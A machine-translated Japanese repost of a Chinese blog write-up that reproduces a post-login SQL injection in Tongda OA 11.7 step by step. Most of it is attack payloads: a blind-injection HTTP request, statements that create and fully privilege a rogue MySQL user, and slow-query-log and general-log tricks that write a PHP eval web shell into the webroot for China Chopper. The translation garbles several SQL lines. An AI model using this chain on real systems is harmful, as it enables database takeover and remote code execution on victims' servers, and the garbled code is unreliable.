Tongda OA11.7バックグラウンドSQLインジェクションgetshell脆弱性の再発

0x00の脆弱性の説明

 Tongda OA11.7にはSQLインジェクションがあります

0x01脆弱性の影響を受けるバージョン

 マスタリーOA11.7

使用条件:アカウントログインが必要です 

0x02脆弱性の再発

1. Tongda OA 11.7、https://cdndown.tongda2000.com/oa/2019/TDOA1​​1.7.exeをダウンロードし、クリックしてインストールします

2.condition_cascadeパラメーターにブールブラインドノートがあります

POC

GET /general/hr/manage/query/delete_cascade.php?condition_cascade=select if((substr(user(),1,1)='r'),1,power(9999,99)) HTTP/1.1
Host: 192.168.77.137
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
X-Requested-With: XMLHttpRequest
Referer: http://192.168.77.137/general/index.php?isIE=0&modify_pwd=0
Cookie: PHPSESSID=ebpjtm5tqh5tvida5keba73fr0; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c71fa06d
DNT: 1
Connection: close

3.テスト後、いくつかの関数(スリープ、エラー報告関数など)、さまざまなコメントをフィルタリングし、ペイロードを使用します。selectif((1 = 1)、1、power(9999,99))、select if(( 1)= 2)、1、power(9999,99))、注入ポイントを判断します#文字が等しい場合はエラーは報告されず、エラーが発生するとエラーが報告されます

4.ユーザーat666を追加すると、パスワードはabcABC @ 123になります。

mysql。*のすべての権限を 'at666' @ '%' IDENTIFIED BY'abcABC @ 123 'WITH GRANTOPTIONに付与します

5. NavicatPremiumを使用してデータベースに接続します

6.追加されたアカウントは、logslowクエリを介してファイルを直接書き込むことはできません。作成されたアカウントにアクセス許可を追加する必要があります

UPDATE `mysql`.`user` SET `Password` = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', `Select_priv` = 'Y', `Insert_priv` = 'Y', `Update_priv` = 'Y', `Delete_priv` = 'Y', `Create_priv` = 'Y', `Drop_priv` = 'Y', `Reload_priv` = 'Y', `Shutdown_priv` = 'Y', `Process_priv` = 'Y', `File_priv` = 'Y', `Grant_priv` = 'Y', `References_priv` = 'Y', `Index_priv` = 'Y', `Alter_priv` = 'Y', `Show_db_priv` = 'Y', `Super_priv` = 'Y', `Create_tmp_table_priv` = 'Y', `Lock_tables_priv` = 'Y', `Execute_priv` = 'Y', `Repl_slave_priv` = 'Y', `Repl_client_priv` = 'Y', `Create_view_priv` = 'Y', `Show_view_priv` = 'Y', `Create_routine_priv` = 'Y', `Alter_routine_priv` = 'Y', `Create_user_priv` = 'Y', `Event_priv` = 'Y', `Trigger_priv` = 'Y', `Create_tablespace_priv` = 'Y', `ssl_type` = '', `ssl_cipher` = '', `x509_issuer` = '', `x509_subject` = '', `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = 'mysql_native_password', `authentication_string` = '', `password_expired` = 'Y' WHERE `Host` = Cast('%' AS Binary(1)) AND `User` = Cast('at666' AS Binary(5));

7.次に、ユーザーには権限を更新する権限がないため、インジェクションポイントを使用して権限を更新します。

general / hr / manage / query / delete_cascade.php?condition_cascade = flush権限;

8.再度ログインし、パスワードの有効期限が切れたことを確認するために、mysqlですべての権限を付与することを再実行する必要があります。* TO'at666 '@'% 'IDENTIFIED BY'abcABC @ 123' WITH GRANT OPTION

9.次にシェルを作成します

方法1:

@@ basedirを選択します。

グローバルslow_query_log = onを設定します。

set global slow_query_log_file = 'C:/tongda11.7/webroot/test.php';

'<?php eval($ _ POST [x]);?>'またはsleep(11);を選択します。

方法2:

@@ basedirを選択します。

グローバルgeneral_log = onを設定します。

set global general_log_file = 'C:/tongda11.7/webroot/test2.php';

select '<?php eval($ _ POST [test2]);?>';

'%general%'のような変数を表示します。

10.チョッパー接続

0x03参照リンク

参照:https://mp.weixin.qq.com/s/8rvIT1y_odN2obJ1yAvLbw

次のことを示してください:Adminxeのブログ »  Tongda OA11.7バックグラウンドSQLインジェクションgetshellの脆弱性の再発

おすすめ

転載: blog.csdn.net/Adminxe/article/details/108744914